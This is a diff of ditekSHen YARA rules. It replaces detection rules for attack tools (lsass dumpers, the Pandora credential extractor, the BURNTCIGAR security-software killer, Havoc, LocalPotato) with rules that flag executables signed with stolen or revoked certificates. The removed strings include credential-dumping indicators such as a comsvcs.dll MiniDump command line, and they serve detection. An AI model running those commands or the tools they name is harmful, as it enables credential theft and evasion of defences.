+		id = "ad4bc1bc-4d72-51bf-a22c-cd98f33f3931"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1541-L1553"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2612-L2623"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "590d41d2e433a7a1bb373fbd0b0d47818a9867bee0399101881b05e83b586f6e"
+		logic_hash = "7e8204f2ec30da73bc2eb83e065412c96e084d7ff5f8ab6125d643693d7407d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\native\\dwagupd.dll" wide
-		$s2 = "\\native\\dwagsvc.exe\" run" wide
-		$s3 = "CreateServiceW" fullword ascii
-		$s4 = /dwagent\.(pid|start|stop)/ wide
-		$s5 = "Check updating..." wide
+		thumbprint = "e600612ffcd002718b7d03a49d142d07c5a04154"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LOOK AND FEEL SP Z O O" and pe.signatures[i].serial=="03:82:cd:4b:6e:d2:1e:d7:c3:ea:ea:26:62:69:d0:00")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dwagent_Screencapture : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_08653Ef2Ed9E6Ebb56Ffa7E93F963235 : FILE
 {
 	meta:
-		description = "Detect DWAgent Remote Administration Tool Screen Capture Module"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "79586e5e-b7e5-5adc-97f3-0d29ad695079"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "8883185a-8239-5648-bebc-3a4c3578a7d6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1555-L1575"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2625-L2636"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d3160fd4cce445aa6d2bc6c083893c7610ea5e72824fe9824ad853700f4d3874"
+		logic_hash = "b0e35f2dbd27de0dc9ea6ee7958c477e6a154bc4c8bb5484ba85ed5732502645"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DWAgentLib" fullword wide
-		$s2 = "PYTHONHOME" wide
-		$s3 = "VirtualBox" wide
-		$s4 = "VMware" wide
-		$s5 = "ScreenCapture::prepareCursor#" ascii
-		$s6 = "ScreenCapture::getMonitorCount#" ascii
-		$s7 = "ScreenCapture::token" ascii
-		$s8 = "dwascreencapture" ascii
-		$s9 = "inputKeyboard CTRLALTCANC" ascii
-		$s10 = "_Z34ScreenCaptureNativeMonitorEnumProc" ascii
-		$s11 = "_Z41ScreenCaptureNativeCreateWindowThreadProc" ascii
-		$s12 = "_ZN13ScreenCapture" ascii
-		$s13 = "isUserInAdminGroup" ascii
+		thumbprint = "1567d022b47704a1fd7ab71ff60a121d0c1df33a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Haw Farm LIMITED" and pe.signatures[i].serial=="08:65:3e:f2:ed:9e:6e:bb:56:ff:a7:e9:3f:96:32:35")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dwagent_Soundcapture : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ddce8Cdc91B5B649Bb4B45Ffbba6C6C : FILE
 {
 	meta:
-		description = "Detect DWAgent Remote Administration Tool Sound Capture Module"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4e395d1e-96a1-5ecc-abe5-6f8323a2c8ca"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "180b2e63-7151-5899-8c12-7e4cd3bb2e0d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1577-L1587"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2638-L2649"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c0efa9f383373dec1c5b9d127c2b4c6f4906718ae8f62eea28d7a369001be5af"
+		logic_hash = "940d257253a0a1a3f70dcec1cb57e9ab08108138ce3b80c9f74228a8b702601c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DWASoundCapture" ascii
-		$s2 = /_Z\d{2}DWASoundCapture/ ascii
-		$s3 = "_Z6recordPvS_" ascii
+		thumbprint = "23c446940a9cdc9f502b92d7928e3b3fde6d3735"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLIM DOG GROUP SP Z O O" and pe.signatures[i].serial=="0d:dc:e8:cd:c9:1b:5b:64:9b:b4:b4:5f:fb:ba:6c:6c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Dogzproxy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4Af27Cd14F5C809Eec1F46E483F03898 : FILE
 {
 	meta:
-		description = "Detects Dogz proxy tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "de2a8d26-0e8e-5999-baca-1e43933af866"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "e7bbc10b-54fc-5950-99fc-80a459406780"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1589-L1601"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2651-L2662"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "575cfed9cb7979216fd8fd2a05efe5dfece3a9120b4f185c015918337829ed63"
+		logic_hash = "0297f156d1e4d1c20143953759000b286ac9e1f8864aa511e0e2f8fa5c3eac7f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "LOGONSERVER=" fullword wide
-		$s2 = "DOGZ_E_" ascii
-		$s3 = "got handshake_id=%d" ascii
-		$s4 = "responser send connect ack" ascii
-		$s5 = "dogz " ascii
+		thumbprint = "5fa9a98f003f2680718cbe3a7a3d57d7ba347ecb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DAhan Advertising planning" and pe.signatures[i].serial=="4a:f2:7c:d1:4f:5c:80:9e:ec:1f:46:e4:83:f0:38:98")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Fastreverseproxy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_105765998695197De4109828A68A4Ee0 : FILE
 {
 	meta:
-		description = "Detects Fast Reverse Proxy (FRP) tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d643cc38-a96c-5353-bb46-ca46ea740e3b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "97a4bad1-9b84-54e3-a1c2-6d01bd4cde4c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1603-L1619"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2664-L2675"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c26d9e8833c7055a03a446eb983c7f70f1f18669d009ebc204dda3f0bb6048f7"
+		logic_hash = "c251f28eec6f93522f5a3706e1abcfd892affa2b36ed84ec277dc0d4716ff667"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "<title>frp client admin UI</title>" ascii
-		$x2 = "https://github.com/fatedier/frp" ascii
-		$s1 = ").SetLogin" ascii
-		$s2 = ").SetPing" ascii
-		$s3 = ").SetNewWorkConn" ascii
-		$s4 = ").ServeHTTP" ascii
-		$s5 = ").Middleware" ascii
-		$s6 = "frpc proxy config error:" ascii
-		$s7 = "frpc sudp visitor proxy is close" ascii
+		thumbprint = "5ddae14820d6f189e637f90b81c4fdb78b5419dc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 4 of ($s*)) or ( all of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cryptonic ApS" and pe.signatures[i].serial=="10:57:65:99:86:95:19:7d:e4:10:98:28:a6:8a:4e:e0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Gogoscan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_53F575F7C33Ee007887F30680486Db5E : FILE
 {
 	meta:
-		description = "Detects GoGo scan tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c24ede04-2971-55f8-8b60-ec3bdca844d7"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "8353ac89-1d98-5b05-a851-50d9e42f8f74"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1621-L1635"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2677-L2688"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c9fbc98a28c74bf920f5f7d62713834d18b33b5c65483a1bd42e4555764c8346"
+		logic_hash = "050d8c4dcb80cd637981c208c6d1316e9933d4f06bbf8af3717d2205a4f84f6d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "(conn) (scan  (scan) MB in  Value>" ascii
-		$s2 = "sweep sysmontargettelnet" ascii
-		$s3 = "%d bytes(?i) (.*SESS.*?ID)([a-z0-9])([A-Z]+)" ascii
-		$s4 = "prepareForSweep" ascii
-		$s5 = "Scanned %s with %d ports, found %d" ascii
-		$s6 = "/chainreactors/gogo/" ascii
-		$s7 = "Starting task %s ,total ports: %d , mod: %s" ascii
+		thumbprint = "a42d8f60663dd86265e566f33d0ed5554e4c9a50"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RET PTY. LTD." and pe.signatures[i].serial=="53:f5:75:f7:c3:3e:e0:07:88:7f:30:68:04:86:db:5e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Gogoprocdump : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7E89B9Df006Bd1Aa4C48D865039634Ca : FILE
 {
 	meta:
-		description = "Detects GoGo (lsass) process dump tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f92845c6-f8ae-50d0-97ea-cfa72051c2de"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "aa208da9-06e2-5bf5-8453-a545c640efa7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1637-L1650"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2690-L2701"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f410882e4c6c8b65e7d3c192cf94bf99d61cf54dc21d80cdf17193b34752c576"
+		logic_hash = "825e4b69aec565b6ef6b4ac2394f5a562a84615e3c91331934fa378152635df4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\temp" ascii
-		$s2 = "gogo" fullword ascii
-		$s3 = "/DumpLsass-master/SilentProcessExit/" ascii
-		$s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zone" ascii
-		$s5 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe" ascii
-		$s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe" ascii
+		thumbprint = "63ad44acaa7cd7f8249423673fbf3c3273e7b2dc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dummy" and pe.signatures[i].serial=="7e:89:b9:df:00:6b:d1:aa:4c:48:d8:65:03:96:34:ca")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Fscan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ddeb53F957337Fbeaf98C4A615B149D : FILE
 {
 	meta:
-		description = "Detects GoGo scan tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3bf73853-15c1-54f7-866a-6a7632e39f19"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "13347f66-c726-59be-9d0e-871512335bbd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1652-L1666"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2703-L2714"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b107eb767454c4c084a7237c107c8414bdb03c324902769ac544c5903e346e17"
+		logic_hash = "4932dcea41879fd29250456cfef7a32a1303f599adbd4b61d91cb2e7e22cf5a2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "fscan version:" ascii
-		$s2 = "Citrix-ConfProxyCitrix-MetaframeCitrix-NetScalerCitrix-XenServerCitrix_Netscaler" ascii
-		$s3 = "(AkamaiGHost)(DESCRIPTION=(Typecho</a>)(^.+)([0-9]+)(confluence.)(dotDefender)" ascii
-		$s4 = "/fscan/" ascii
-		$s5 = "WebScan.CheckDatas" ascii
-		$s6 = "'Exploit.Test" ascii
-		$s7 = "rules:" ascii
+		thumbprint = "91cabea509662626e34326687348caf2dd3b4bba"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mozilla Corporation" and pe.signatures[i].serial=="0d:de:b5:3f:95:73:37:fb:ea:f9:8c:4a:61:5b:14:9d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_BURTNCIGAR : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C88Af896B6452241Fe00E3Aaec11B1F8 : FILE
 {
 	meta:
-		description = "Detects BURNTCIGAR a utility which terminates processes associated with endpoint security software"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b5260d7e-07ac-5633-b450-e2124cbba65b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "4d73705a-e980-5aa0-a326-e35990226e37"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1668-L1680"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2716-L2727"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4977332a0b20b300a5fc34f0f8d56221f55b66783853306d803e91701cb7e6ec"
+		logic_hash = "3a5f290f9479189ff83bf5da3a3d086453c9230311a48f4c0bd4654024ebeef8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.TOOL.BURNTCIGAR"
-
-	strings:
-		$s1 = "Kill PID =" ascii
-		$s2 = "CreateFile Error =" ascii
-		$s3 = "\\KillAV" ascii
-		$s4 = "DeviceIoControl" ascii
+		thumbprint = "9ce1cbf5be77265af2a22e28f8930c2ac5641e12"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TeamViewer Germany GmbH" and pe.signatures[i].serial=="00:c8:8a:f8:96:b6:45:22:41:fe:00:e3:aa:ec:11:b1:f8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Pplblade : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_09E015E98E4Fabcc9Ac43E042C96090D : FILE
 {
 	meta:
-		description = "Detects PPLBlade Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk"
+		description = "Detects BestEncrypt commercial disk encryption and wiping software signing certificate"
 		author = "ditekSHen"
-		id = "60c9b036-51a0-5e08-83de-1f69f62245c3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1698-L1722"
+		id = "577cff87-b676-598b-acea-e7c01df0ef15"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://blog.macnica.net/blog/2020/11/dtrack.html"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2729-L2742"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "da21402b07fcd0358ba630e48ab35956cb7ed8c12836a339c85b2ee5e414543e"
+		logic_hash = "77f9f50c6dd862419edaa7c3fcee0ce3f607a5b7b939d7844969082ab9777bbf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "PPLBlade" ascii
-		$x2 = "/PPLBlade/" ascii
-		$x3 = "PPLBlade.exe --mode" ascii
-		$x4 = "PPLBLADE.SYSPPLBlade.dmp" ascii
-		$s1 = "Dump bytes sent at %s:%d. Protocol: %s" ascii
-		$s2 = "Deobfuscated dump saved in file %s" ascii
-		$m1 = "main.WriteDriverOnDisk" ascii
-		$m2 = "main.ProcExpOpenProc" ascii
-		$m3 = "main.miniDumpCallback" ascii
-		$m4 = "main.copyDumpBytes" ascii
-		$m5 = "main.MiniDumpGetBytes" ascii
-		$m6 = "main.SendBytesRaw" ascii
-		$m7 = "main.SendBytesSMB" ascii
-		$m8 = "main.DeobfuscateDump" ascii
-		$m9 = "main.dumpMutex" ascii
-		$m10 = "main.dbghelpDLL" ascii
-		$m11 = "main.miniDumpWriteDump" ascii
+		thumbprint = "04e407118516053ff248503b31d6eec6daf4a809"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and (1 of ($s*) or 3 of ($m*))) or ( all of ($s*) and 3 of ($m*)) or (7 of ($m*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jetico Inc. Oy" and pe.signatures[i].serial=="09:e0:15:e9:8e:4f:ab:cc:9a:c4:3e:04:2c:96:09:0d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Sharpldap : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_118D813D830F218C0F46D4Fc : FILE
 {
 	meta:
-		description = "Detects SharpLDAP tool written in C# that aims to do enumeration via LDAP queries"
+		description = "Detects BestEncrypt commercial disk encryption and wiping software signing certificate"
 		author = "ditekSHen"
-		id = "597e578d-41f0-595e-b92c-0c3676d8b47a"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "b14b14c8-202d-533d-97dc-c6336ddf75c4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1724-L1739"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2744-L2755"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "da5db3f2907229dc68e3c6f3351361a4b1fb9fe8afc597c9dfe611f9725c6181"
+		logic_hash = "3240504794394c06f050ef3eb5ef82e0b476e2bbeabfb394fc4646e98bc6e976"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "SharpLDAP" ascii wide
-		$x2 = "SharpLDAP.pdb" ascii
-		$s1 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide
-		$s2 = "(&(servicePrincipalName=*))" wide
-		$s3 = "/Enumerating (Domain|Enterprise|Organizational|Service|Members|Users|Computers)/" wide
-		$s4 = "ListMembers" fullword ascii
-		$s5 = "GroupMembers" fullword ascii
-		$s6 = "get_SamAccountName" fullword ascii
+		thumbprint = "bd16f70bf6c2ef330c5a4f3a27856a0d030d77fa"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 4 of ($s*)) or (5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shang Hai Shen Wei Wang Luo Ke Ji You Xian Gong Si" and pe.signatures[i].serial=="11:8d:81:3d:83:0f:21:8c:0f:46:d4:fc")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Pandora : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2304Ecf0Ea2B2736Beddd26A903Ba952 : FILE
 {
 	meta:
-		description = "Detects Pandora tool to extract credentials from password managers"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3f71f24b-755f-5967-afbf-04a512bd0a19"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "3e064799-2333-5d10-8841-8d0a44ad9c1b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1741-L1755"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2757-L2768"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dd5be3b99b62ec40c242225d9420b9ce299c4f348882b0380289309dfedbc1e8"
+		logic_hash = "c10695440ec4e39cf5b51c926ceeacc13caf3a58006c64b0168a04b4755978a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "process PID:" fullword wide
-		$s2 = "Dump file created:" fullword wide
-		$s3 = "System.Security.AccessControl.FileSystemAccessRule('Everyone', 'FullControl', 'Allow')" ascii
-		$s4 = "{[math]::Round($_.PrivateMemorySize64" ascii
-		$s5 = "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump $" ascii
-		$s6 = "\"payload\":{\"logins\":" ascii
-		$s7 = "\\pandora.pdb" ascii
+		thumbprint = "d59a63e230cef77951cb73a8d65576f00c049f44"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\x88\\x90\\xE9\\x83\\xBD\\xE5\\x90\\x89\\xE8\\x83\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE8\\xB4\\xA3\\xE4\\xBB\\xBB\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures[i].serial=="23:04:ec:f0:ea:2b:27:36:be:dd:d2:6a:90:3b:a9:52")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Havoc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4D78E90E0950Fc630000000055657E1A : FILE
 {
 	meta:
-		description = "Detects Havoc Demon"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "71ad145c-4017-597a-837e-5d11ba64d7c0"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "bb48d309-e7b8-5c39-b989-cce4093b2082"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1757-L1774"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2770-L2781"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c5806deaa57590ebe1923608b9b085460e0edd024721e6e9d7073765a79bf22b"
+		logic_hash = "c2a3714173defa7b8e97ea92f8f85fb47011099bdc24067aafa273ebdd282f0f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "X-Havoc:" wide
-		$x2 = "X-Havoc-Agent:" wide
-		$s1 = "\\Werfault.exe" wide
-		$s2 = "/funny_cat.gif" wide
+		thumbprint = "fd010fdee2314f5d87045d1d7bf0da01b984b0fe"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 3 of them or (pe.number_of_imports==0 and pe.number_of_exports==0 and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Telus Health Solutions Inc." and pe.signatures[i].serial=="4d:78:e9:0e:09:50:fc:63:00:00:00:00:55:65:7e:1a")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOLS_Localpotato : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0092Bc051F1811Bb0B86727C36394F7849 : FILE
 {
 	meta:
-		description = "Detects LocalPotato"
-		author = "ditekShen"
-		id = "65f8305b-b830-58e7-970b-da1df9a06e9b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "9ffef880-ed00-54a7-8eb2-995c5c4e74f1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1776-L1807"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2783-L2794"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "88fba16a6eec6d2c23331642041c6adfddddeb21ba8e74b6959bd48c90f73cbb"
+		logic_hash = "bdf847f95bc6cc50513b76c57c3e76bc17caacd3419baabb2cab0161feb67508"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "LocalPotato.stg" fullword wide
-		$x2 = "we always love potatoes" fullword ascii
-		$s1 = "{00000306-0000-0000-c000-000000000046}" wide
-		$s2 = "{854A20FB-2D44-457D-992F-EF13785D2B51}" wide
-		$s3 = "cifs/127.0.0.1" wide
-		$s4 = "\\\\127.0.0.1\\c$" wide
-		$s5 = "complete failed: 0x%08x" ascii
-		$s6 = "Authorization: NTLM %s" ascii
-		$s7 = "Objref Moniker Display Name = %S" ascii
-		$s8 = "SMB Connect Tree: %S" ascii
-		$s9 = "b64type=%s" fullword ascii
-		$s10 = "decodes=%s" fullword ascii
